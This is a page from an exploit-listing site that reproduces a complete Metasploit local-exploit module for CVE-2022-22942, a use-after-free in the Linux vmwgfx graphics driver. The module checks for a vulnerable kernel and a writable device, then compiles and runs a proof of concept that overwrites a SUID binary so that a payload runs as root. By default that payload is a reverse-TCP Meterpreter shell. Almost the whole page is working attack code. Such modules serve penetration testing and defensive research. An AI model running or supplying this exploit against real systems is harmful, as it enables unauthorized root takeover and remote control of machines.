Advertisement






vmwgfx Driver File Descriptor Handling Privilege Escalation

CVE Category Price Severity
CVE-2022-22942 CWE-119 $10,000 High
Author Risk Exploitation Type Date
Kevin Backhouse High Local 2023-02-01
CPE
cpe:cpe:/h:vmware:vmwgfx_driver
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.26402 0.80197

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023020002

Below is a copy:

vmwgfx Driver File Descriptor Handling Privilege Escalation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::Linux::Compile
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'vmwgfx Driver File Descriptor Handling Priv Esc',
        'Description' => %q{
          If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries to
          recover by deallocating the (already populated) file descriptor. This is
          wrong, as the fd gets released via put_unused_fd() which shouldn't be used,
          as the fd table slot was already populated via the previous call to
          fd_install(). This leaves userland with a valid fd table entry pointing to
          a free'd 'file' object.

          We use this bug to overwrite a SUID binary with our payload and gain root.
          Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable.

          Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Mathias Krause' # original PoC, analysis
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ],
          [ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ],
          [ 'CVE', '2022-22942' ]
        ],
        'DisclosureDate' => '2022-01-28',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
          'PrependFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_OS_DOWN],
          'Reliability' => [REPEATABLE_SESSION],
          # seeing "BUG: Bad page cache in process <process> pfn:<5 characters>" on console
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def check
    # Check the kernel version to see if its in a vulnerable range
    release = kernel_release
    unless Rex::Version.new(release) > Rex::Version.new('4.14-rc1') &&
           Rex::Version.new(release) < Rex::Version.new('5.17-rc1')
      return CheckCode::Safe("Kernel version #{release} is not vulnerable")
    end

    vprint_good "Kernel version #{release} appears to be vulnerable"

    @driver = nil

    if writable?('/dev/dri/card0') # ubuntu, RHEL
      @driver = '/dev/dri/card0'
    elsif writable?('/dev/dri/renderD128') # debian
      @driver = '/dev/dri/renderD128'
    else
      return CheckCode::Safe('Unable to write to /dev/dri/card0 or /dev/dri/renderD128')
    end
    vprint_good("#{@driver} found writable")

    @suid_target = nil
    if setuid?('/bin/chfn') # ubuntu
      @suid_target = '/bin/chfn'
    elsif writable?('/bin/chage') # RHEL/Centos
      @suid_target = '/bin/chage'
    else
      return CheckCode::Safe('/bin/chfn isn\'t SUID or /bin/chage not writable')
    end
    vprint_good("#{@suid_target} suid binary found")

    if kernel_modules&.include?('vmwgfx')
      return CheckCode::Appears('vmwgfx installed')
    end

    CheckCode::Safe('Vulnerable driver (vmwgfx) not found')
  end

  def exploit
    # Check if we're already root
    if is_root? && !datastore['ForceExploit']
      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
    end

    # Make sure we can write our exploit and payload to the local system
    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # backup the suid binary before we overwrite it
    @suid_backup = read_file(@suid_target)
    path = store_loot(
      @suid_target,
      'application/octet-stream',
      rhost,
      @suid_backup,
      @suid_target
    )
    print_good("Original #{@suid_target} backed up to #{path}")
    executable_name = ".#{rand_text_alphanumeric(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"

      c_code = exploit_source('CVE-2022-22942', 'cve-2022-22942-dc.c')
      c_code = c_code.gsub('/dev/dri/card0', @driver) # ensure the right driver device is called
      c_code = c_code.gsub('/bin/chfn', @suid_target) # ensure we have our suid target
      c_code = c_code.gsub('/proc/self/exe', payload_path) # change exe to our payload

      upload_and_compile executable_path, strip_comments(c_code)
      register_files_for_cleanup(executable_path)
    else
      unless @suid_target == '/bin/chfn'
        fail_with(Failure::BadConfig, 'Pre-compiled is only valid against Ubuntu based systems')
      end
      vprint_status 'Dropping pre-compiled exploit on system...'
      payload_path = '/tmp/.aYd3GAMlK'
      upload_and_chmodx executable_path, exploit_data('CVE-2022-22942', 'pre_compiled')
    end

    # Upload payload executable
    print_status("Uploading payload to #{payload_path}")
    upload_and_chmodx payload_path, generate_payload_exe
    register_files_for_cleanup(generate_payload_exe)

    print_status 'Launching exploit...'
    output = cmd_exec executable_path, nil, 30
    output.each_line { |line| vprint_status line.chomp }
  end

  def cleanup
    if @suid_backup.nil?
      print_bad("MANUAL replacement of trojaned #{@suid_target} is required.")
    else
      print_status("Replacing trojaned #{@suid_target} with original")
      write_file(@suid_target, @suid_backup)
    end
    super
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum